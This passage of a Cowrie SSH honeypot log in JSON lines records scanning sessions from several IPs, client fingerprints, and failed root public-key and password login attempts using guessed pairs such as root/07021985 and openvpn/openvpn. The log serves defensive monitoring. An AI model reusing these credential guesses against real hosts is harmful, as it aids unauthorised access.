{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3d:61:d4:8a:5e:cb:09:73:80:c2:2b:59:10:a7:c1:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAu8eYbQX4m+IK4BGCsMLenHUgf3MbAVSQSJliWAEGpwY2X/WvkOKQJ46F8VsS18/hRbdSb7DDA0N4UTtKaPaiRmkPuXD5LvknlUV/QjOzEvRCcUSD85DJN9PUdQ4r0wTrL9M6l5hA3hXAtMS9kGhqsscLmy4UyeavvnQdyD0PppA1wW9XzvTItan/T87a33ElsUNlak2sxRVLKZYvsTZYFOpQbjOhr93qpa16h8o4Ygbm8ZY3yHkuJDOZ54g5UQk0GOTMjnInwWTDg/m+PIcEGKQo4I2F8Y0fzWmKJ8jJr/miEO1mvUUkV6iYYZHSdTaCIouhtJ4nrVcmag0S8+/+PQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3d:61:d4:8a:5e:cb:09:73:80:c2:2b:59:10:a7:c1:ec","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:23.552064Z","src_ip":"89.163.206.178","session":"a8b9f2bee38a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3d:61:d4:8a:5e:cb:09:73:80:c2:2b:59:10:a7:c1:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAu8eYbQX4m+IK4BGCsMLenHUgf3MbAVSQSJliWAEGpwY2X/WvkOKQJ46F8VsS18/hRbdSb7DDA0N4UTtKaPaiRmkPuXD5LvknlUV/QjOzEvRCcUSD85DJN9PUdQ4r0wTrL9M6l5hA3hXAtMS9kGhqsscLmy4UyeavvnQdyD0PppA1wW9XzvTItan/T87a33ElsUNlak2sxRVLKZYvsTZYFOpQbjOhr93qpa16h8o4Ygbm8ZY3yHkuJDOZ54g5UQk0GOTMjnInwWTDg/m+PIcEGKQo4I2F8Y0fzWmKJ8jJr/miEO1mvUUkV6iYYZHSdTaCIouhtJ4nrVcmag0S8+/+PQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:23.555254Z","src_ip":"89.163.206.178","session":"a8b9f2bee38a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7b:d9:be:38:c2:a3:23:5b:c0:28:a5:1a:5b:cc:00:0d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2kV4fJCp0mahL28Vvp9pW7YTiWpz6Ln8FiGFVIZHZpLNPnVT1krkVx/ZkPc3IOPTLtiIJxZ+Je5aZo2xJWkYfTbN82MhKT9kbjO9SjYolT/EjwpjM5wfBfw2Giwz5QYmBUtKlvtvjuUlZJBgk8MrYhqngB36lt+b2p88teTf4zD/IeFEnqPR8wzEPp3u5rlnK8j4aQTQw2E+A9fQ4UBNnqZvNEwZ1tBZpnXccKMS+jJ1Wu1YJz37HBfCBnSCO+4Efgu3KS6OpJdKVXXWyf2F0qZ4WioKdbqggIWVNSFcvvOHWIDZtJYDAb/lEGjf/cWrDmm6xLblD983p4Svf2q2Z","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7b:d9:be:38:c2:a3:23:5b:c0:28:a5:1a:5b:cc:00:0d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:23.650186Z","src_ip":"89.163.206.178","session":"a8b9f2bee38a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7b:d9:be:38:c2:a3:23:5b:c0:28:a5:1a:5b:cc:00:0d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2kV4fJCp0mahL28Vvp9pW7YTiWpz6Ln8FiGFVIZHZpLNPnVT1krkVx/ZkPc3IOPTLtiIJxZ+Je5aZo2xJWkYfTbN82MhKT9kbjO9SjYolT/EjwpjM5wfBfw2Giwz5QYmBUtKlvtvjuUlZJBgk8MrYhqngB36lt+b2p88teTf4zD/IeFEnqPR8wzEPp3u5rlnK8j4aQTQw2E+A9fQ4UBNnqZvNEwZ1tBZpnXccKMS+jJ1Wu1YJz37HBfCBnSCO+4Efgu3KS6OpJdKVXXWyf2F0qZ4WioKdbqggIWVNSFcvvOHWIDZtJYDAb/lEGjf/cWrDmm6xLblD983p4Svf2q2Z","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:23.652681Z","src_ip":"89.163.206.178","session":"a8b9f2bee38a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c7:26:c2:95:dc:1c:38:cd:1a:7a:64:de:58:84:05:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAoCw6w8JwFXhpsym8xqOvljUa1O9dX/5348F6NPOCSRnrNamm19NvsCaQ3tIe+i9l0fCe2w9pKCsZtse9hJG08TnW87eZrgsCfxk2wiu7EbSQn8Lxs5W1av7OprGZSTWRTT3C79PRKM1sWOMSsjtr6u6eKuGLQ2C8LJq2LzUpkl92waSQ0SJbrJhsmCKAEF5LikrTOMVNMjA7d8FuGMishEOET3ao+2XccEOEJfL6WNTFj8oXH3tXSv4+b9vo+RKjSzXhItC3+Y93isouUrubDPItQiUUWxC4BvVViGLpvI76HIVZBX0bsNcSqFrl7QzxLrOg19l0wraMWzyZ/rA2zw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c7:26:c2:95:dc:1c:38:cd:1a:7a:64:de:58:84:05:7b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:23.742670Z","src_ip":"89.163.206.178","session":"a8b9f2bee38a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c7:26:c2:95:dc:1c:38:cd:1a:7a:64:de:58:84:05:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAoCw6w8JwFXhpsym8xqOvljUa1O9dX/5348F6NPOCSRnrNamm19NvsCaQ3tIe+i9l0fCe2w9pKCsZtse9hJG08TnW87eZrgsCfxk2wiu7EbSQn8Lxs5W1av7OprGZSTWRTT3C79PRKM1sWOMSsjtr6u6eKuGLQ2C8LJq2LzUpkl92waSQ0SJbrJhsmCKAEF5LikrTOMVNMjA7d8FuGMishEOET3ao+2XccEOEJfL6WNTFj8oXH3tXSv4+b9vo+RKjSzXhItC3+Y93isouUrubDPItQiUUWxC4BvVViGLpvI76HIVZBX0bsNcSqFrl7QzxLrOg19l0wraMWzyZ/rA2zw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:23.745542Z","src_ip":"89.163.206.178","session":"a8b9f2bee38a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9a:ff:1c:80:4a:08:4b:7e:7c:6d:ad:c5:cf:2e:9e:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDn78YMyxlxxh/A6vvS26y8y4nVC8VUaXrC9/6sFooYqqDA1MHVS3Mv6BCm6BMaJYWaGtWPcV6orULyF+Ij3G7DM9ZZvnwVgQcqSiXQb9xWDLWQeVJOhC/LpDCPTvNRuqXvRRiOgETJ6nJ7ZBMYA/CJO6Q9lGT/sFA1T1TLtbp2UmOhaXJtzRBj0dtP4E1r+m1GAe31ZIifPn7X65tvgA4hg0EAfBeLwNgMSdOMtXEW6PjIDB/5gO/UtyEJ5eR5qI8bOo7NNO/nsq/0I95fAc8PuhlxI/qmyZTMb2Dbjye5msp3P2xZfwnud+lDOqdHFPM9GnN9IKO8WwM919BNfpU/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9a:ff:1c:80:4a:08:4b:7e:7c:6d:ad:c5:cf:2e:9e:d5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:23.835216Z","src_ip":"89.163.206.178","session":"a8b9f2bee38a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9a:ff:1c:80:4a:08:4b:7e:7c:6d:ad:c5:cf:2e:9e:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDn78YMyxlxxh/A6vvS26y8y4nVC8VUaXrC9/6sFooYqqDA1MHVS3Mv6BCm6BMaJYWaGtWPcV6orULyF+Ij3G7DM9ZZvnwVgQcqSiXQb9xWDLWQeVJOhC/LpDCPTvNRuqXvRRiOgETJ6nJ7ZBMYA/CJO6Q9lGT/sFA1T1TLtbp2UmOhaXJtzRBj0dtP4E1r+m1GAe31ZIifPn7X65tvgA4hg0EAfBeLwNgMSdOMtXEW6PjIDB/5gO/UtyEJ5eR5qI8bOo7NNO/nsq/0I95fAc8PuhlxI/qmyZTMb2Dbjye5msp3P2xZfwnud+lDOqdHFPM9GnN9IKO8WwM919BNfpU/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:23.837649Z","src_ip":"89.163.206.178","session":"a8b9f2bee38a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:23.927911Z","src_ip":"89.163.206.178","session":"a8b9f2bee38a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":33306,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac6b2454d9d6","protocol":"ssh","message":"New connection: 91.92.42.227:33306 (10.17.0.5:22) [session: ac6b2454d9d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:27.080434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:27.260010Z","src_ip":"91.92.42.227","session":"ac6b2454d9d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:27.263092Z","src_ip":"91.92.42.227","session":"ac6b2454d9d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"avax","password":"avax","message":"login attempt [avax/avax] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:28.564018Z","src_ip":"91.92.42.227","session":"ac6b2454d9d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:30.066023Z","src_ip":"91.92.42.227","session":"ac6b2454d9d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":33360,"dst_ip":"10.17.0.5","dst_port":22,"session":"7cc6225de16f","protocol":"ssh","message":"New connection: 91.92.42.227:33360 (10.17.0.5:22) [session: 7cc6225de16f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:33.985979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:34.311222Z","src_ip":"91.92.42.227","session":"7cc6225de16f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:34.315295Z","src_ip":"91.92.42.227","session":"7cc6225de16f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":45894,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4133a17b3f8","protocol":"ssh","message":"New connection: 194.113.233.25:45894 (10.17.0.5:22) [session: a4133a17b3f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:35.562163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:35.566437Z","src_ip":"194.113.233.25","session":"a4133a17b3f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:35.660335Z","src_ip":"194.113.233.25","session":"a4133a17b3f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"07021985","message":"login attempt [root/07021985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:35.944048Z","src_ip":"194.113.233.25","session":"a4133a17b3f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"123","message":"login attempt [runner/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:36.187518Z","src_ip":"91.92.42.227","session":"7cc6225de16f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:37.043265Z","src_ip":"194.113.233.25","session":"a4133a17b3f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:37.948408Z","src_ip":"91.92.42.227","session":"7cc6225de16f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":57730,"dst_ip":"10.17.0.5","dst_port":22,"session":"7dce042662dc","protocol":"ssh","message":"New connection: 91.92.42.227:57730 (10.17.0.5:22) [session: 7dce042662dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:40.420509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:40.869026Z","src_ip":"91.92.42.227","session":"7dce042662dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:40.873016Z","src_ip":"91.92.42.227","session":"7dce042662dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"1","message":"login attempt [claude/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:43.824631Z","src_ip":"91.92.42.227","session":"7dce042662dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:45.589753Z","src_ip":"91.92.42.227","session":"7dce042662dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":47028,"dst_ip":"10.17.0.5","dst_port":22,"session":"2af5e8e5b122","protocol":"ssh","message":"New connection: 91.92.42.227:47028 (10.17.0.5:22) [session: 2af5e8e5b122]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:46.942216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:47.675499Z","src_ip":"91.92.42.227","session":"2af5e8e5b122","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:47.683394Z","src_ip":"91.92.42.227","session":"2af5e8e5b122","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openvpn","password":"openvpn","message":"login attempt [openvpn/openvpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:50.300617Z","src_ip":"91.92.42.227","session":"2af5e8e5b122","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:52.344972Z","src_ip":"91.92.42.227","session":"2af5e8e5b122","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":54218,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f5ac17491e5","protocol":"ssh","message":"New connection: 91.92.42.227:54218 (10.17.0.5:22) [session: 4f5ac17491e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:55.135552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:55.310084Z","src_ip":"91.92.42.227","session":"4f5ac17491e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh